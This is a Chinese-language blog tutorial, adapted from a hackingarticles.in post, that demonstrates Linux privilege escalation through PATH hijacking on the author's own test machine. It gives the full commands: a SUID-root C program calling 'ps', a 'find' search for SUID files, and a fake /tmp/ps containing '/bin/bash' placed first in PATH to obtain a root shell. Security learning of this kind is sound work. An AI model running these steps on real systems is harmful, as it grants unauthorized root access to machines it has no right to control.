利用PATH提升linux权限

参考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

这篇文章是我学习大佬的博客,加上自己的理解写的,大佬写的更详细,总共写了4种方法,但是在我看来这都是一种方法,所有我加上我浅薄的理解,总结了一个方法。

1.介绍

PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时,它会请求 shell 在 PATH 变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目,以便轻松执行系统管理命令。

借助echo 命令查看相关用户的路径非常简单。

echo $PATH

如果你注意到'.' 在环境 PATH 变量中,这意味着登录的用户可以从当前目录执行二进制文件/脚本,这对于攻击者来说是一种提升 root 权限的极好技术。这是由于编写程序时缺乏注意,因此管理员没有指定程序的完整路径。

个人理解:
就是在/bin/,/sbin/目录下面的命令我们可以在任何目录下面直接调用,不需要加上绝对路径,比如cat,echo,id,
ps,ls,vim,你会发现这些都在/usr/bin/ 或者/usr/sbin/目录下面,所有你调用这些命令不需要加上绝对路径,可
以直接调用,这篇文章说的就是改写这些命令进行覆盖原来的命令,比如改写一个ps覆盖原来调用的/usr/bin/ps这个系
统命令,改写的ps里面我们写上我们的内容,然后进行覆盖去执行,达到提权的目的。(现在没看懂没关系,可能我表达
不是很好,往后看你就都明白了!)

2.创建测试文件demo.c

我们现在目前是root权限:

我们进入/home/tzf目录下面创建一个新目录script,然后在这个目录下面写一个c程序,这个c程序里面会调用一个系
统命令ps(当然了!,你也可以调用echo,cat,ls,vim随便哪一个系统命令都可以,大佬的文章写了四个命令,我这里
就讲解这一个吧,其他的用法大同小异,大家可以去膜拜膜拜大佬写的!) 命令:
mkdir script
cd script
touch demo.c
vim demo.c demo.c 内容:
void main()
{
setuid(0);
setgid(0);
system("ps");
}

不好意思,这里忘记切换进去script文件夹了,在哪个文件夹下面都一样的其实。

正如您在我们的 demo.c 文件中所观察到的,我们正在调用 ps 命令(进程状态),它是系统二进制文件。跟ls,cat,vim,echo都是一样的。

3.编译demo.c文件并加上权限

gcc demo.c -o shell
chmod u+s shell
ls -al

我们可以看到现在shell就是demo.c经过编译得到的二进制文件,demo.c的内容就是调用系统命令ps,然后shell这个二进制文件他的用户是root,但是普通用户也是可以以root权限去执行二进制文件的,因为我们加了s权限。

关于chmod u+s命令的解释:https://www.cnblogs.com/bruce1992/p/14307745.html

现在我们切换到普通用户tzf,就是说我们已普通用户去执行shell这个文件是用的root权限去执行的,这么说大家应该能理解。我们发现shell它会去调用ps这个命令。我们现在可以看到ps这个命令现在是在/usr/bin/目录下面的,就是说我们现在执行./shell这个文件是调用的/usr/bin/ps这个命令,后面接着看。

4.提权

首先,您需要破坏目标系统,然后进入提权阶段。假设您通过 ssh 成功登录到受害者的机器。然后不用浪费时间,在 Find 命令的帮助下搜索具有 SUID 或 4000 权限的文件。

find / -perm -u=s -type f 2>/dev/null

因此在上述命令的帮助下,攻击者可以枚举任何可执行文件,在这里我们还可以观察到/home/tzf/script/shell具有 suid 权限。suid权限就是我们刚刚加的u+s。

可以看到这个就是我们刚刚写进去的二进制文件shell

这里我就以普通用户tzf做演示,就当我通过ssh连上tzf这个普通用户然后提权到root用户。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami

5.个人理解

可以看到第三步的时候我们执行./shell这个命令调用的ps是/usr/bin/ps这个命令,但是最后我们在第四步执行的./shell这个命令,此时ps这个命令的绝对路径变成了/tmp/ps,然后/tmp/ps是我们自己创建的一个文件,里面内容是/bin/bash,所有我们在第四步是以root权限去执行的./shell这个命令,同时也是以root权限去执行的ps命令,也就是执行的/bin/bash,所以我们成功提权到了root的终端,成功提权。


利用PATH环境变量 - 提升linux权限~👻的更多相关文章

  1. linux下.bashrc文件 /PATH环境变量修改 /提示符修改

    1) .bashrc文件 在linux系统普通用户目录(cd /home/xxx)或root用户目录(cd /root)下,用指令ls -al可以看到4个隐藏文件, .bash_history   记 ...

  2. Linux下通过源码编译安装程序(configure/make/make install的作用,然后在/etc/profile文件里修改PATH环境变量)

    一.程序的组成部分 Linux下程序大都是由以下几部分组成: 二进制文件:也就是可以运行的程序文件 库文件:就是通常我们见到的lib目录下的文件 配置文件:这个不必多说,都知道 帮助文档:通常是我们在 ...

  3. Linux系列(11) - PATH环境变量

    前言 在Liunx当中要想执行"执行脚本"."执行文件"或者"执行命令",需要用绝对路径:因此环境变量就出来了,将路径放到环境变量中,环境变 ...

  4. Linux系统修改PATH环境变量方法

    在Linux安装一些软件通常要添加路径环境变量PATH.PATH环境变量通俗的讲就是把程序的路径"备案"到系统中,这样执行这些程序时就不需要输入完整路径,直接在bash输入程序名就 ...

  5. linux下查看和添加PATH环境变量

    linux下查看和添加PATH环境变量 $PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接. 编辑你的 PA ...

  6. Linux常用指令---$PATH (环境变量)

    实例一:设置临时环境变量 在linux服务器上设置临时环境变量,当退出shell环境时,自动销毁 export JAVA_HOME=/usr/java/jdk1.6.0_32 export class ...

  7. linux可执行文件添加到PATH环境变量的方法

    linux命令行下面执行某个命令的时候,首先保证该命令是否存在,若存在,但输入命令的时候若仍提示:command not found 这个时候就的查看PATH环境变量的设置了,当前命令是否存在于PAT ...

  8. Linux中PATH环境变量的作用和使用方法

    关于PATH的作用:PATH说简单点就是一个字符串变量,当输入命令的时候LINUX会去查找PATH里面记录的路径.比如在根目录/下可以输入命令ls,在/usr目录下也可以输入ls,但其实ls这个命令根 ...

  9. linux 下PATH环境变量

    环境变量简介 什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件. 在linux系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现&quo ...

随机推荐

  1. ES6扩展——函数扩展之默认参数

    1.函数的默认参数 //函数的默认参数 function add(a, b = 999){ console.log(a,b); //1 999 } add(1); 2. 函数的形参可以设置默认值,默认 ...

  2. Linux下Oracle新建用户并且将已有的数据dmp文件导入到新建的用户下的操作流程

    Oracle新建用户并且将已有的数据dmp文件导入到新建的用户下的操作流程 1.切换到oracle用户下 su - oracle 2.登录sqlplus sqlplus /nolog 3.使用sysd ...

  3. NX二次开发-创建NX9 NXOpenCPP Wizard开发向导模板

    这篇文章,我在CSDN,在唐工论坛都发过.http://www.nxopen.cn/forum.php?mod=viewthread&tid=2039&highlight=NX9 博客 ...

  4. SpringMVC笔记(3)

    一.SpringMVC 拦截器 1.1 快速入门 步骤 创建拦截器类实现HandlerInterceptor接口 public class MyInterceptor01 implements Han ...

  5. 一、Git分布式版本控制系统

    1.引入 在开发一个软件项目时,本地只有几十行代码或几百行代码时还可以维护,但当代码达到一定的数量后或两三个人共同开发一个项目时,就很容易会出现代码混乱.冲突.排错难等问题.一旦开发完工以后发现整个项 ...

  6. AtomicStampedReference AtomicReference解决CAS机制中ABA问题

    AtomicStampedReference AtomicReference解决CAS机制中ABA问题 AtomicStampedReference AtomicStampedReference它内部 ...

  7. 羽夏笔记——PE结构(不包含.Net)

    写在前面   本笔记是由本人独自整理出来的,图片来源于网络.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章有帮助你 ...

  8. 解决方案-问题001:物理机、虚机等等Linux操作系统/usr/bin目录权限误操作,导致无法切换root

    导语:平常运维人员会误操作一些目录权限,导致一些问题,那么如何恢复呢? 问题:物理机.虚机等等Linux操作系统/usr/bin目录权限误操作,导致无法切换root? 实验环境: ip地址 是否目录正 ...

  9. SAR总结

    1.星载InSAR技术简介 星载合成孔径雷达干涉测量(InSAR)是一种用于大地测量和遥感的雷达技术.InSAR使用两个或多个SAR图像,利用返回卫星的波的相位差来计算目标地区的地形.地貌以及表面的微 ...

  10. three+pixi 将二维和三维结合

    PIXI+THREE 使用 PIXI 和 THREE 将三维和二维渲染在同一个 canvas 下面 效果 思路 初始化 PIXI 的 Application, 作为 pixi 最重要的变量 const ...